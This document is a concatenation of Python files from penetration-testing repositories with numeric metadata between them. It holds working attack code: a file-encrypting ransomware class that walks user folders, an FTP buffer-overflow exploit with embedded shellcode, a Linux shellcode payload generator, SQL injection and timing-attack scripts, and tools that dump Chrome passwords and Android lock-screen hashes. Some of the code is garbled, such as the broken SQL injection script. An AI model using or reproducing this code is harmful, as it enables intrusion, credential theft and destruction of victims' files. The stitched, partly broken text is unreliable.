("Possible Open or Filtered Ports:") print (openp) if len(filterdp) != 0: print ("Possible Filtered Ports:") print (filterdp) if (len(openp) == 0) and (len(filterdp) == 0): print ("Sorry, No open ports found.!!") else: print ("Host is Down")
26.873016
105
0.500285
cybersecurity-penetration-testing
import requests times = [] answer = "Kicking off the attempt" cookies = {'cookie name': 'Cookie value'} payload = {'injection': '\'or sleep char_length(password);#', 'Submit': 'submit'} req = requests.post(url, data=payload, cookies=cookies) firstresponsetime = str(req.elapsed) for x in range(1, firstresponsetime): payload = {'injection': '\'or sleep(ord(substr(password, '+str(x)+', 1)));#', 'Submit': 'submit'} req = requests.post('<target url>', data=payload, cookies=cookies) responsetime = req.elapsed.total_seconds a = chr(responsetime) times.append(a) answer = ''.join(times) return answer averagetimer(http://google.com)
29.666667
98
0.696734
Penetration-Testing-with-Shellcode
#!/usr/bin/python import socket import sys shellcode = "\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x31\xdb\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x96\x01\xca\x89\xd6\x89\xcf\x31\xdb\x53\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x51\xff\xd2\x83\xc4\x10\x31\xc9\x68\x6c\x6c\x42\x42\x88\x4c\x24\x02\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x54\xff\xd0\x83\xc4\x0c\x31\xc9\x68\x6f\x78\x41\x42\x88\x4c\x24\x03\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54\x50\xff\xd6\x83\xc4\x0c\x31\xd2\x31\xc9\x52\x68\x73\x67\x21\x21\x68\x6c\x65\x20\x6d\x68\x53\x61\x6d\x70\x8d\x14\x24\x51\x68\x68\x65\x72\x65\x68\x68\x69\x20\x54\x8d\x0c\x24\x31\xdb\x43\x53\x52\x51\x31\xdb\x53\xff\xd0\x31\xc9\x68\x65\x73\x73\x41\x88\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x8d\x0c\x24\x51\x57\xff\xd6\x31\xc9\x51\xff\xd0"; junk = 'A'*230 eip = '\x90\x06\xbe\x75' nops = '\x90'*10 injection = junk+eip+nops+shellcode s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect = s.connect(('192.168.129.128',21)) s.recv(1024) s.send('USER '+injection+'\r\n')
78.0625
983
0.734177
cybersecurity-penetration-testing
#!/usr/bin/python import socket NSRL_SERVER='127.0.0.1' NSRL_PORT=9120 def nsrlquery(md5hashes): """Query the NSRL server and return a list of booleans. Arguments: md5hashes -- The list of MD5 hashes for the query. """ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((NSRL_SERVER, NSRL_PORT)) try: f = s.makefile('r') s.sendall("version: 2.0\r\n") response = f.readline(); if response.strip() != 'OK': raise RuntimeError('NSRL handshake error') query = 'query ' + ' '.join(md5hashes) + "\r\n" s.sendall(query) response = f.readline(); if response[:2] != 'OK': raise RuntimeError('NSRL query error') return [c=='1' for c in response[3:].strip()] finally: s.close()
21.131579
59
0.560714
hackipy
#!/usr/bin/python3 try: print("[>] Importing required modules") from utilities import is_root, nothing, get_ip_range, arp_scan, parse_responses, show_result import argparse except ModuleNotFoundError: print("[!] Missing modules, Exiting...") exit() else: print("[>] Modules Successfully imported") print() # Just a line break ######################################################################## # User Defined Function ######################################################################## def get_arguments(): """This function will get arguments from command line if there are any and return them to main function""" parser = argparse.ArgumentParser(description="All arguments are optional") parser.add_argument("-t", "--target", dest="ip", help="IP or IP range to scan, all if not provided") parser.add_argument("-s", "--silent", dest="mute", help="Show less output", action="store_true") options = parser.parse_args() return options.ip, options.mute ######################################################################## # The main function ######################################################################## # Parsing the arguments ip, mute = get_arguments() # Checking for privileges if is_root(): nothing() else: print("[!] Please run the script as root") exit() # Getting local IP range if IP is not provided and providing feedback if not ip: try: ip = get_ip_range() except TypeError: print("[!] Can't get current network's IP range, Not connected to a network") exit() print(f"[>] IP (or IP Range) is set to {ip}") if not mute else nothing() # Starting the scan print() if not mute else nothing() print(f"[+] Starting the scan") if not mute else nothing() print() if not mute else nothing() responses = arp_scan(ip, mute) # Displaying the responses print() if not mute else nothing() if (responses): show_result(responses, mute) else: print("[!] No response recieved!")
30.181818
110
0.564414
cybersecurity-penetration-testing
import binascii import logging __author__ = 'Preston Miller & Chapin Bryce' __date__ = '20160401' __version__ = 0.01 def checkHeader(filename, headers, size): """ The checkHeader function reads a supplied size of the file and checks against known signatures to determine the file type. :param filename: The name of the file. :param headers: A list of known file signatures for the file type(s). :param size: The amount of data to read from the file for signature verification. :return: Boolean, True if the signatures match; otherwise, False. """ with open(filename, 'rb') as infile: header = infile.read(size) hex_header = binascii.hexlify(header) for signature in headers: if hex_header == signature: return True else: pass logging.warn('The signature for {} ({}) does not match known signatures: {}'.format( filename, hex_header, headers)) return False def convertSize(size): """ The convertSize function converts an integer representing bytes into a human-readable format. :param size: The size in bytes of a file :return: The human-readable size. """ sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'] index = 0 while size > 1024: size /= 1024. index += 1 return '{:.2f} {}'.format(size, sizes[index])
30.840909
111
0.624286
cybersecurity-penetration-testing
#!/usr/bin/python # # Copyright (C) 2015 Michael Spreitzenbarth (research@spreitzenbarth.de) # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import os, sys, subprocess, binascii, struct import sqlite3 as lite def get_sha1hash(backup_dir): # dumping the password/pin from the device print "Dumping PIN/Password hash ..." password = subprocess.Popen(['adb', 'pull', '/data/system/password.key', backup_dir], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE) password.wait() # cutting the HASH within password.key sha1hash = open(backup_dir + '/password.key', 'r').readline()[:40] print "HASH: \033[0;32m" + sha1hash + "\033[m" return sha1hash def get_salt(backup_dir): # dumping the system DB containing the SALT print "Dumping locksettings.db ..." saltdb = subprocess.Popen(['adb', 'pull', '/data/system/locksettings.db', backup_dir], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE) saltdb.wait() saltdb2 = subprocess.Popen(['adb', 'pull', '/data/system/locksettings.db-wal', backup_dir], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE) saltdb2.wait() saltdb3 = subprocess.Popen(['adb', 'pull', '/data/system/locksettings.db-shm', backup_dir], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE) saltdb3.wait() # extract the SALT con = lite.connect(backup_dir + '/locksettings.db') cur = con.cursor() cur.execute("SELECT value FROM locksettings WHERE name='lockscreen.password_salt'") salt = cur.fetchone()[0] con.close() # convert SALT to Hex returnedsalt = binascii.hexlify(struct.pack('>q', int(salt) )) print "SALT: \033[0;32m" + returnedsalt + "\033[m" return returnedsalt def write_crack(salt, sha1hash, backup_dir): crack = open(backup_dir + '/crack.hash', 'a+') # write HASH and SALT to cracking file hash_salt = sha1hash + ':' + salt crack.write(hash_salt) crack.close() if __name__ == '__main__': # check if device is connected and adb is running as root if subprocess.Popen(['adb', 'get-state'], stdout=subprocess.PIPE).communicate(0)[0].split("\n")[0] == "unknown": print "no device connected - exiting..." sys.exit(2) # starting to create the output directory and the crack file used for hashcat backup_dir = sys.argv[1] try: os.stat(backup_dir) except: os.mkdir(backup_dir) sha1hash = get_sha1hash(backup_dir) salt = get_salt(backup_dir) write_crack(salt, sha1hash, backup_dir) print "crack.hash can now be used to feed hashcat" print "\033[0;32m-> hashcat -a 3 -m 110 " + backup_dir + "/crack.hash -1 ?d ?1?1?1?1\033[m (just add ?1 for echt additional digit to crack)"
35.178947
144
0.676077
owtf
""" AJAX testing """ from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "AJAX Plugin to assist manual testing" def run(PluginInfo): resource = get_resources("ExternalAJAX") Content = plugin_helper.resource_linklist("Online Resources", resource) return Content
22.785714
75
0.759036
cybersecurity-penetration-testing
#!/usr/bin/python import requests import datetime import string import sys ALPHABET = string.printable RETRIES = 1 def fetch(url, username, password): a = datetime.datetime.now() r = requests.get(url, auth=requests.auth.HTTPBasicAuth(username, password)) if r.status_code == 200: return 0 b = datetime.datetime.now() return (b - a).total_seconds() def main(url, username): pass_so_far = '' while True: print '\n[>] Password so far: "%s"\n' % pass_so_far times = {} avg_times = {} for p in ALPHABET: times[p] = [] avg_times[p] = 0.0 for i in range(RETRIES): password = pass_so_far + p t = fetch(url, username, password) if t == 0: print 'Password found: "%s"' % password return times[p].append(t) avg_times[p] = sum(times[p]) / float(RETRIES) if ord(p) > 32: print '\tLetter: "%c" - time: %f' % (p, avg_times[p]) max_time = [0,0] for letter, time_ in times.items(): if time_ > max_time[1]: max_time[0] = letter max_time[1] = time_ pass_so_far += max_time[0] if __name__ == '__main__': if len(sys.argv) < 3: print 'usage: http-auth-timing.py <url> <username>' main(sys.argv[1], sys.argv[2])
26.377358
79
0.496552
PenTesting
from hashlib import sha256 from re import subn def hash(word): word = subn('\r','',word)[0] word = subn('\n','',word)[0] m = sha256(word) return {m.hexdigest():word}
19.444444
32
0.595628
Python-for-Offensive-PenTest
# Python For Offensive PenTest # Installing win32crypt # http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/ # Dumping Google Chrome Passwords from os import getenv # To find out the Chrome SQL path which is >> C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Login Data import sqlite3 # To read the Chrome SQLite DB import win32crypt # High level library to call windows API CryptUnprotectData from shutil import copyfile # To make a copy of the Chrome SQLite DB # LOCALAPPDATA is a Windows Environment Variable which points to >>> C:\Users\{username}\AppData\Local path = getenv("LOCALAPPDATA") + "\Google\Chrome\User Data\Default\Login Data" # IF the target was logging into a site which has an entry into the DB, then sometimes reading the Chrome DB will return an error that the DB is locked # OperationalError: database is locked # The Workaround for this, is to make a copy the Login Data DB and pull data out of the copied DB path2 = getenv("LOCALAPPDATA") + "\Google\Chrome\User Data\Default\Login2" copyfile(path, path2) # Connect to the copied Database conn = sqlite3.connect(path2) cursor = conn.cursor() # Create a Cursor object and call its execute() method to perform SQL commands like SELECT # SELECT column_name,column_name FROM table_name # SELECT action_url and username_value and password_value FROM table logins cursor.execute('SELECT action_url, username_value, password_value FROM logins') # To retrieve data after executing a SELECT statement, we call fetchall() to get a list of the matching rows. for raw in cursor.fetchall(): print raw[0] + '\n' + raw[1] # print the action_url (raw[0]) and print the username_value (raw[1]) password = win32crypt.CryptUnprotectData(raw[2])[1] # pass the encrypted Password to CryptUnprotectData API function to decrypt it print password # print the password in clear text conn.close()
39.4375
153
0.752577
cybersecurity-penetration-testing
from scapy.all import * interface ='mon0' probe_req = [] ap_name = raw_input("Please enter the AP name ") def probesniff(fm): if fm.haslayer(Dot11ProbeReq): client_name = fm.info if client_name == ap_name : if fm.addr2 not in probe_req: print "New Probe Request: ", client_name print "MAC ", fm.addr2 probe_req.append(fm.addr2) sniff(iface= interface,prn=probesniff)
25.2
48
0.681122
PenetrationTestingScripts
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : jeffzhang # @Time : 18-5-14 # @File : parse_plugin.py # @Desc : "" import os import re from fuxi.views.lib.mongo_db import connectiondb, db_name_conf from flask import Flask app = Flask(__name__) plugin_db = db_name_conf()['plugin_db'] def parse_plugin(plugin_filename): name_pattern = re.compile(r'name\s*=\s*[\'\"\[](.*)[\'\"\]]') author_pattern = re.compile(r'author\s*=\s*[\'\"\[](.*)[\'\"\]]') date_pattern = re.compile(r'vulDate\s*=\s*[\'\"\[](.*)[\'\"\]]') app_pattern = re.compile(r'appName\s*=\s*[\'\"\[](.*)[\'\"\]]') type_pattern = re.compile(r'vulType\s*=\s*[\'\"\[](.*)[\'\"\]]') version_pattern = re.compile(r'appVersion\s*=\s*[\'\"\[](.*)[\'\"\]]') plugin_data = open(plugin_filename, 'r').read() try: plugin_name = name_pattern.findall(plugin_data) plugin_author = author_pattern.findall(plugin_data) plugin_date = date_pattern.findall(plugin_data) plugin_app = app_pattern.findall(plugin_data) plugin_type = type_pattern.findall(plugin_data) plugin_version = version_pattern.findall(plugin_data) plugin_info = { "plugin_filename": plugin_filename, "plugin_name": plugin_name[0], "plugin_author": plugin_author[0], "plugin_date": plugin_date[0], "plugin_app": plugin_app[0], "plugin_type": plugin_type[0], "plugin_version": plugin_version[0], } return plugin_info except Exception as e: print(e) pass def local_install(): print("[*]Processing...") connectiondb(plugin_db).drop() path = os.getcwd() + '/pocsuite_plugin/' files = os.listdir(path) for file_name in files: plugin_info = parse_plugin(path + file_name.strip()) if plugin_info is None: pass else: db_insert = connectiondb(plugin_db).insert_one(plugin_info).inserted_id print("[*]Processing Completed!") if __name__ == "__main__": local_install()
31.5625
83
0.56505
PenetrationTestingScripts
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : jeffzhang # @Time : 18-5-21 # @File : get_title.py # @Desc : "" import requests import re class TitleParser: def __init__(self, target): self.target = target self.title = '' def parser_title(self): try: res = requests.get(self.target) match = re.search('<title>(.*?)</title>', res.content) if match: self.title = match.group(1) else: self.title = 'None' except Exception as e: self.title = 'ERR_CONNECTION_REFUSED' return self.title def get_title(target, subdomain_id): target_url = "http://" + target result = { "title": TitleParser(target_url).parser_title(), "_id": subdomain_id } return result
21.837838
66
0.527251
owtf
""" owtf.managers.resource ~~~~~~~~~~~~~~~~~~~~~~ Provides helper functions for plugins to fetch resources. """ import logging import os from owtf.db.session import get_scoped_session from owtf.managers.config import get_conf from owtf.models.resource import Resource from owtf.utils.file import FileOperations from owtf.utils.strings import multi_replace def get_raw_resources(session, resource_type): """Fetch raw resources filtered on type :param resource_type: Resource type :type resource_type: `str` :return: List of raw resources :rtype: `list` """ filter_query = session.query(Resource.resource_name, Resource.resource).filter_by( resource_type=resource_type ) # Sorting is necessary for working of ExtractURLs, since it must run after main command, so order is imp sort_query = filter_query.order_by(Resource.id) raw_resources = sort_query.all() return raw_resources def get_rsrc_replacement_dict(session): """Get the configuration update changes as a dict :return: :rtype: """ from owtf.managers.target import target_manager from owtf.managers.config import config_handler configuration = get_conf(session) configuration.update(target_manager.get_target_config) configuration.update(config_handler.get_replacement_dict) configuration.update(config_handler.get_framework_config_dict) # for aux plugins return configuration def get_resources(resource_type): """Fetch resources filtered on type :param resource_type: Resource type :type resource_type: `str` :return: List of resources :rtype: `list` """ session = get_scoped_session() replacement_dict = get_rsrc_replacement_dict(session) raw_resources = get_raw_resources(session, resource_type) resources = [] for name, resource in raw_resources: resources.append([name, multi_replace(resource, replacement_dict)]) return resources def get_raw_resource_list(session, resource_list): """Get raw resources as from a resource list :param resource_list: List of resource types :type resource_list: `list` :return: List of raw resources :rtype: `list` """ raw_resources = session.query(Resource.resource_name, Resource.resource).filter( Resource.resource_type.in_(resource_list) ).all() return raw_resources def get_resource_list(session, resource_type_list): """Get list of resources from list of types :param resource_type_list: List of resource types :type resource_type_list: `list` :return: List of resources :rtype: `list` """ replacement_dict = get_rsrc_replacement_dict(session) raw_resources = get_raw_resource_list(session, resource_type_list) resources = [] for name, resource in raw_resources: resources.append([name, multi_replace(resource, replacement_dict)]) return resources def get_resources_from_file(resource_file): """Fetch resources for a file :param resource_file: Path to the resource file :type resource_file: `str` :return: Resources as a set :rtype: `set` """ resources = set() config_file = FileOperations.open( resource_file, "r" ).read().splitlines() # To remove stupid '\n' at the end for line in config_file: if line.startswith("#"): continue # Skip comment lines try: type, name, resource = line.split("_____") resources.add((type, name, resource)) except ValueError: logging.info( "ERROR: The delimiter is incorrect in this line at Resource File: %s", str(line.split("_____")), ) return resources def load_resources_from_file(session, default, fallback): """Parses the resources config file and loads data into the DB .. note:: This needs to be a list instead of a dictionary to preserve order in python < 2.7 :param file_path: Path to the resources config file :type file_path: `str` :return: None :rtype: None """ file_path = default logging.info("Loading resources from: %s..", default) if not os.path.isfile(default): # check if the resource file exists file_path = fallback resources = get_resources_from_file(file_path) # Delete all old resources which are not edited by user # because we may have updated the resource session.query(Resource).filter_by(dirty=False).delete() for type, name, resource in resources: session.add(Resource(resource_type=type, resource_name=name, resource=resource)) session.commit()
31.454545
108
0.677155
Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python # Payload generator ## Total payload length payload_length = 424 ## Amount of nops nop_length = 100 ## Controlled memory address to return to in Little Endian format #0x7fffffffddc0 #0x7fffffffe120 #current 0x7fffffffdf80: 0xffffdfa0 #0x7fffffffdde0 #return_address = '\x20\xe1\xff\xff\xff\x7f\x00\x00' #IT must be noted that return address is $rsp #00007fffffffde30 #THis is the contents of the register r9 ,where teh shell code is placed ,its verified with edebugger.THis methos is importent for cases when we dont have access over source code of the application ,and its built on assumption that teh address of register r9 willnot change over consective runs as address randomization is disabled.If the address changes ,then ideally we should look for an instruction that says jmp r9 return_address = '\x30\xde\xff\xff\xff\x7f\x00\x00' ## Building the nop slide nop_slide = "\x90" * nop_length ## Malicious code injection buf = "" buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05" buf += "\xef\xff\xff\xff\x48\xbb\xfa\x6e\x99\x49\xdc\x75\xa8" buf += "\x43\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4" buf += "\x90\x47\xc1\xd0\xb6\x77\xf7\x29\xfb\x30\x96\x4c\x94" buf += "\xe2\xe0\xfa\xf8\x6e\x88\x15\xa3\x75\xa8\x42\xab\x26" buf += "\x10\xaf\xb6\x65\xf2\x29\xd0\x36\x96\x4c\xb6\x76\xf6" buf += "\x0b\x05\xa0\xf3\x68\x84\x7a\xad\x36\x0c\x04\xa2\x11" buf += "\x45\x3d\x13\x6c\x98\x07\xf7\x66\xaf\x1d\xa8\x10\xb2" buf += "\xe7\x7e\x1b\x8b\x3d\x21\xa5\xf5\x6b\x99\x49\xdc\x75" buf += "\xa8\x43" ## Building the padding between buffer overflow start and return address padding = 'B' * (payload_length - nop_length - len(buf)) #perfect print nop_slide + buf + padding + return_address
41.121951
419
0.735805
owtf
""" ACTIVE Plugin for Generic Unauthenticated Web App Fuzzing via Arachni This will perform a "low-hanging-fruit" pass on the web app for easy to find (tool-findable) vulns """ from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "Active Vulnerability Scanning without credentials via Arachni" def run(PluginInfo): resource = get_resources("Arachni_Unauth") return plugin_helper.CommandDump("Test Command", "Output", resource, PluginInfo, [])
33.066667
98
0.77451
Effective-Python-Penetration-Testing
import hmac import hashlib digest_maker = hmac.new('secret-key', '', hashlib.sha256) f = open('sample-file.txt', 'rb') try: while True: block = f.read(1024) if not block: break digest_maker.update(block) finally: f.close() digest = digest_maker.hexdigest() print digest
17.647059
57
0.620253
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import pyPdf import optparse from pyPdf import PdfFileReader def printMeta(fileName): pdfFile = PdfFileReader(file(fileName, 'rb')) docInfo = pdfFile.getDocumentInfo() print '[*] PDF MetaData For: ' + str(fileName) for metaItem in docInfo: print '[+] ' + metaItem + ':' + docInfo[metaItem] def main(): parser = optparse.OptionParser('usage %prog "+\ "-F <PDF file name>') parser.add_option('-F', dest='fileName', type='string',\ help='specify PDF file name') (options, args) = parser.parse_args() fileName = options.fileName if fileName == None: print parser.usage exit(0) else: printMeta(fileName) if __name__ == '__main__': main()
22.363636
60
0.609091
Ethical-Hacking-Scripts
from cryptography.fernet import Fernet import os, sys class RansomWare: def __init__(self): self.f = b'QAYEFKLQT469LdHWIs4ZG7xKrDr8JRzMTwNFvoQFILg=' self.fernet = Fernet(self.f) self.dirlist = [] self.file_list = [] input("[+] This Ransomware can seriously F up your computer(Encrypts personal files). ONLY PRESS ENTER IF YOU ARE OK WITH THIS HAPPENING.") input("[+] ARE YOU SURE? THERE IS NO TURNING BACK.") print("[+] Your loss :( .") def get_file_name(self): return sys.argv[0].replace('/',' ').replace("\\"," ").split()[len(sys.argv[0].replace('/',' ').replace("\\"," ").split())-1] def get_filelist(self): filelist = [] try: for i in os.listdir(): if "." in i: filelist.append(os.path.join(os.getcwd(), i)) except: pass return filelist def get_dir_list(self): dirlist = [] try: for i in os.listdir(): if "." not in i: dirlist.append(os.path.join(os.getcwd(), i)) except: pass return dirlist def encrypt_file(self, filename): working = False try: file = open(filename, "rb") working = True except: pass if working: content = file.read() file.close() file = open(filename, "wb") file.write(self.fernet.encrypt(content)) file.close() else: file.close() def decrypt_file(self, filename): working = False try: file = open(filename, "rb") working = True except: passs if working: try: content = file.read() file.close() decrypt_content = self.fernet.decrypt(content) file = open(filename, "wb") file.write(decrypt_content) file.close() except: pass else: file.close() def get_files(self): if sys.platform == "win32": os.chdir("C:/Users/") else: os.chdir("/Users/") self.dirlist.extend(self.get_dir_list()) self.file_list.extend(self.get_filelist()) for i in self.dirlist: try: os.chdir(i) self.file_list.extend(self.get_filelist()) self.dirlist.extend(self.get_dir_list()) except: pass def encrypt_files(self): self.get_files() for i in self.file_list: try: self.encrypt_file(i) except: pass self.display_warning() self.enter_enc_key() def decrypt_files(self): self.get_files() for i in self.file_list: try: self.decrypt_file(i) except: pass def display_warning(self): print(f""" =============================================================================================================================== __ __ _ ____ _____ _ _ _ \ \ / / ( ) | _ \ / ____| (_) | | | \ \_/ /__ _ _|/__ _____ | |_) | ___ ___ _ __ | | ___ _ __ ___ _ __ _ __ ___ _ __ ___ _ ___ ___ __| | | \ / _ \| | | | \ \ / / _ \ | _ < / _ \/ _ \\ '_ \ | | / _ \| '_ ` _ \| '_ \| '__/ _ \| '_ ` _ \| / __|/ _ \/ _` | | | | (_) | |_| | \ V / __/ | |_) | __/ __/ | | | | |___| (_) | | | | | | |_) | | | (_) | | | | | | \__ \ __/ (_| |_| |_|\___/ \__,_| \_/ \___| |____/ \___|\___|_| |_| \_____\___/|_| |_| |_| .__/|_| \___/|_| |_| |_|_|___/\___|\__,_(_) | | |_| =============================================================================================================================== [+] You are a victim of RansomSquid! [+] All of your files have been encrypted. [+] DO NOT CLOSE THIS WINDOW AS ALL YOUR FILES WILL BE LOST IF YOU DO SO.""") def enter_enc_key(self): while True: key = input("[+] Enter the Encryption Key to Decrypt all of the encrypted Files: ").encode() if key == self.f: print("[+] Decrypting your files.") self.decrypt_files() input("[+] Press Enter to Exit.") break else: print("[+] Your Key Is Invalid!") """ Get rid of the hashtags if you have gone insane. """ #e = RansomWare() #e.encrypt_files()
39.078125
148
0.358354
Python-Penetration-Testing-for-Developers
#!/usr/bin/env python ''' Author: Christopher S. Duffy Date: March 2015 Name: username_generator.py Purpose: To generate a username list from the US Census Top 1000 surnames and other lists Copyright (c) 2015, Christopher Duffy All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CHRISTOPHER DUFFY BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ''' import sys from collections import namedtuple import string import argparse import os try: import xlrd except: sys.exit("[!] Please install the xlrd library: pip install xlrd") def unique_list(list_sort, verbose): noted = [] if verbose > 0: print("[*] Removing duplicates while maintaining order") [noted.append(item) for item in list_sort if not noted.count(item)] # List comprehension return noted def census_parser(filename, verbose): # Create the named tuple CensusTuple = namedtuple('Census', 'name, rank, count, prop100k, cum_prop100k, pctwhite, pctblack, pctapi, pctaian, pct2prace, pcthispanic') # Define the location of the file and worksheet till arguments are developed worksheet_name = "top1000" #Define work book and work sheet variables workbook = xlrd.open_workbook(filename) spreadsheet = workbook.sheet_by_name(worksheet_name) total_rows = spreadsheet.nrows - 1 current_row = -1 # Define holder for details username_dict = {} surname_dict = {} alphabet = list(string.ascii_lowercase) while current_row < total_rows: row = spreadsheet.row(current_row) current_row += 1 entry = CensusTuple(*tuple(row)) #Passing the values of the row as a tuple into the namedtuple surname_dict[entry.rank] = entry cellname = entry.name cellrank = entry.rank for letter in alphabet: if "." not in str(cellrank.value): if verbose > 1: print("[-] Eliminating table headers") break username = letter + str(cellname.value.lower()) rank = str(cellrank.value) username_dict[username] = rank username_list = sorted(username_dict, key=lambda key: username_dict[key]) return(surname_dict, username_dict, username_list) def username_file_parser(prepend_file, append_file, verbose): if prepend_file: put_where = "begin" filename = prepend_file elif append_file: put_where = "end" filename = append_file else: sys.exit("[!] There was an error in processing the supplemental username list!") with open(filename) as file: lines = [line.rstrip('\n') for line in file] if verbose > 1: if "end" in put_where: print("[*] Appending %d entries to the username list") % (len(lines)) else: print("[*] Prepending %d entries to the username list") % (len(lines)) return(lines, put_where) def combine_usernames(supplemental_list, put_where, username_list, verbose): if "begin" in put_where: username_list[:0] = supplemental_list #Prepend with a slice if "end" in put_where: username_list.extend(supplemental_list) username_list = unique_list(username_list, verbose) return(username_list) def write_username_file(username_list, filename, domain, verbose): open(filename, 'w').close() #Delete contents of file name if domain: domain_filename = filename + "_" + domain email_list = [] open(domain_filename, 'w').close() if verbose > 1: print("[*] Writing to %s") % (filename) with open(filename, 'w') as file: file.write('\n'.join(username_list)) if domain: if verbose > 1: print("[*] Writing domain supported list to %s") % (domain_filename) for line in username_list: email_address = line + "@" + domain email_list.append(email_address) with open(domain_filename, 'w') as file: file.write('\n'.join(email_list)) return if __name__ == '__main__': # If script is executed at the CLI usage = '''usage: %(prog)s [-c census.xlsx] [-f output_filename] [-a append_filename] [-p prepend_filename] [-d domain_name] -q -v -vv -vvv''' parser = argparse.ArgumentParser(usage=usage) parser.add_argument("-c", "--census", type=str, help="The census file that will be used to create usernames, this can be retrieved like so:\n wget http://www2.census.gov/topics/genealogy/2000surnames/Top1000.xls", action="store", dest="census_file") parser.add_argument("-f", "--filename", type=str, help="Filename for output the usernames", action="store", dest="filename") parser.add_argument("-a","--append", type=str, action="store", help="A username list to append to the list generated from the census", dest="append_file") parser.add_argument("-p","--prepend", type=str, action="store", help="A username list to prepend to the list generated from the census", dest="prepend_file") parser.add_argument("-d","--domain", type=str, action="store", help="The domain to append to usernames", dest="domain_name") parser.add_argument("-v", action="count", dest="verbose", default=1, help="Verbosity level, defaults to one, this outputs each command and result") parser.add_argument("-q", action="store_const", dest="verbose", const=0, help="Sets the results to be quiet") parser.add_argument('--version', action='version', version='%(prog)s 0.42b') args = parser.parse_args() # Set Constructors census_file = args.census_file # Census filename = args.filename # Filename for outputs verbose = args.verbose # Verbosity level append_file = args.append_file # Filename for the appending usernames to the output file prepend_file = args.prepend_file # Filename to prepend to the usernames to the output file domain_name = args.domain_name # The name of the domain to be appended to the username list dir = os.getcwd() # Get current working directory # Argument Validator if len(sys.argv)==1: parser.print_help() sys.exit(1) if append_file and prepend_file: sys.exit("[!] Please select either prepend or append for a file not both") if not filename: if os.name != "nt": filename = dir + "/census_username_list" else: filename = dir + "\\census_username_list" else: if filename: if "\\" or "/" in filename: if verbose > 1: print("[*] Using filename: %s") % (filename) else: if os.name != "nt": filename = dir + "/" + filename else: filename = dir + "\\" + filename if verbose > 1: print("[*] Using filename: %s") % (filename) # Define working variables sur_dict = {} user_dict = {} user_list = [] sup_username = [] target = [] combined_users = [] # Process census file if not census_file: sys.exit("[!] You did not provide a census file!") else: sur_dict, user_dict, user_list = census_parser(census_file, verbose) # Process supplemental username file if append_file or prepend_file: sup_username, target = username_file_parser(prepend_file, append_file, verbose) combined_users = combine_usernames(sup_username, target, user_list, verbose) else: combined_users = user_list write_username_file(combined_users, filename, domain_name, verbose)
43.00995
253
0.660373
PenTestScripts
